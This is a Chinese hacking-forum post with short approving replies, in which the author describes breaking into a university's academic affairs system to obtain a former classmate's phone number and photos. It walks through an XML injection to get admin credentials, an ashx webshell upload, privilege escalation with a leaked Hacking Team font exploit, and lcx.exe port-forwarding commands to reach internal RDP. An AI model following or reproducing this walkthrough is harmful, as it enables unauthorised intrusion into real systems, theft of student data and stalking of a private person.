请选择 进入手机版 | 继续访问电脑版

SSS安全论坛

 找回密码
 立即注册

QQ登录

只需一步,快速开始

产品
产品
团队
团队
版规
版规
查看: 8083|回复: 209

搞定正方及服务器内网渗透寻找我逝去的青春

  [复制链接]
  • TA的每日心情
    奋斗
    2016-7-14 17:48
  • 签到天数: 7 天

    [LV.3]偶尔看看II

    发表于 2016-6-6 14:47:49 | 显示全部楼层 |阅读模式
    转眼又到高考,这一年来每晚梦到她,一晚不落。不说了,先换条内裤去、、、
    我叫她猫,她叫我猪。我喊她妹妹,然后她会说:“我是猫,你是猪,咱俩有关系吗?”
    我喜欢下课去洗脸,每次回来,她都会说:“呀,你怎么又一脸口水啊!”
    她把兔子耳朵戴到我头上,然后狂笑。
    她说,我有白头发的,然后我把手伸到她头发中狂翻……
    只和我打我必输的赌,赌注是冰激凌。  
    然后,结束了。
    说的有点远,现在可以回归主题了,在同学口中问道,她现在在XXX师范大学。提高女神、必然要搞掉教务处啊,电话照片要什么有什么!

    学校官网:Xxx.net, 目标(教务处):xxx.xxx.net
    正方教务系统,记得在sss看到一篇关于正方漏洞(正方教务系统post型xml注入)的文章,直接开搞拿到jwc01密码
    图片1.png
    哈哈,权限齐全,查信息不在话下,女神来了,上图!

    这就结束了吗?当然不可能,后台都进了,不getshell哪是我的作风呢!
    在教务公告发布看到一处上传,各种折腾各种限制,我的宝贝马儿被截了一大半,后来查了一下资料,咱还有ashx的马呢,
    图片2.png

    在教务公告发布那里直接上传ashx文件来取得webshell。(会在同目录下生成asp的马)上传的文件后保存到/wbwj/这个目录中去,上传生成的asp马儿到wbwj文件夹下,访问测试。妥妥的,当然这里直接上传ashx的马也是可以的。
    图片3.png
    这就结束了吗?当然不可能,shell都拿了,不提权哪是我的作风呢!
    上传一个aspxspy,执行命令,果然并不能/add, systeminfo成功执行,安装321个补丁,这可如何是好?懒得一个个的不定去看了,把手上的exp使劲往上丢,并没有什么卵用。洗洗睡,抱着女神照片来一发!
    怎么人心放下,想起前几天在别的阅马场捡到的Hacking Team的利用字体提前的神器还没有试试呢。(代码分析及漏洞看这里http://drops.wooyun.org/papers/6998
    就是屌,账户添加成功,来个图。
    图片4.png
    多灾多难啊,3389没开,服务器在内网。一万匹草泥马奔腾,一个一个来吧。
    上kai3389.exe成功执行,开3389端口。
    上lcx.exe 端口转发链接,在本地执行 lcx.exe -listen 51 33891 在shell里执行lcx.exe -slave 你的IP 51 127.0.0.1 3389
    游客,如果您要查看本帖隐藏内容请回复



    回复

    使用道具 举报

  • TA的每日心情

    3 天前
  • 签到天数: 83 天

    [LV.6]常住居民II

    发表于 2016-6-6 16:26:29 | 显示全部楼层
    学习学习
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    半小时前
  • 签到天数: 449 天

    [LV.9]以坛为家II

    发表于 2016-6-6 16:28:48 | 显示全部楼层
    我一直都在学习啊
  • TA的每日心情
    郁闷
    2015-11-25 01:02
  • 签到天数: 49 天

    [LV.5]常住居民I

    发表于 2016-6-6 16:29:12 | 显示全部楼层
    俺要开始玩安全了。。学习下
  • TA的每日心情

    前天 22:55
  • 签到天数: 316 天

    [LV.8]以坛为家I

    发表于 2016-6-6 16:47:45 | 显示全部楼层
    你打码,95表哥
  • TA的每日心情

    2017-1-24 15:12
  • 签到天数: 84 天

    [LV.6]常住居民II

    发表于 2016-6-6 17:04:29 | 显示全部楼层
    好强啊 赶紧学习学习
  • TA的每日心情
    慵懒
    5 天前
  • 签到天数: 92 天

    [LV.6]常住居民II

    发表于 2016-6-6 17:41:01 | 显示全部楼层
    啥?打码了
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    昨天 12:09
  • 签到天数: 270 天

    [LV.8]以坛为家I

    发表于 2016-6-6 17:47:05 | 显示全部楼层
    我一直都在学习啊
  • TA的每日心情
    擦汗
    3 天前
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2016-6-6 17:50:22 | 显示全部楼层
    :)学习了
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    昨天 23:11
  • 签到天数: 217 天

    [LV.7]常住居民III

    发表于 2016-6-6 17:51:41 | 显示全部楼层
    学习了         
    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    关闭

    站长推荐上一条 /1 下一条

    关注微信赢邀请码

    QQ|Archiver|手机版|网站地图|网页地图|SSS安全论坛 ( 黔ICP备15010987号  

    GMT+8, 2017-2-22 09:37 , Processed in 0.508451 second(s), 36 queries .

    Powered by SSS团队 X3.2

    © 2014-2015 Comsenz Inc.

    快速回复 返回顶部 返回列表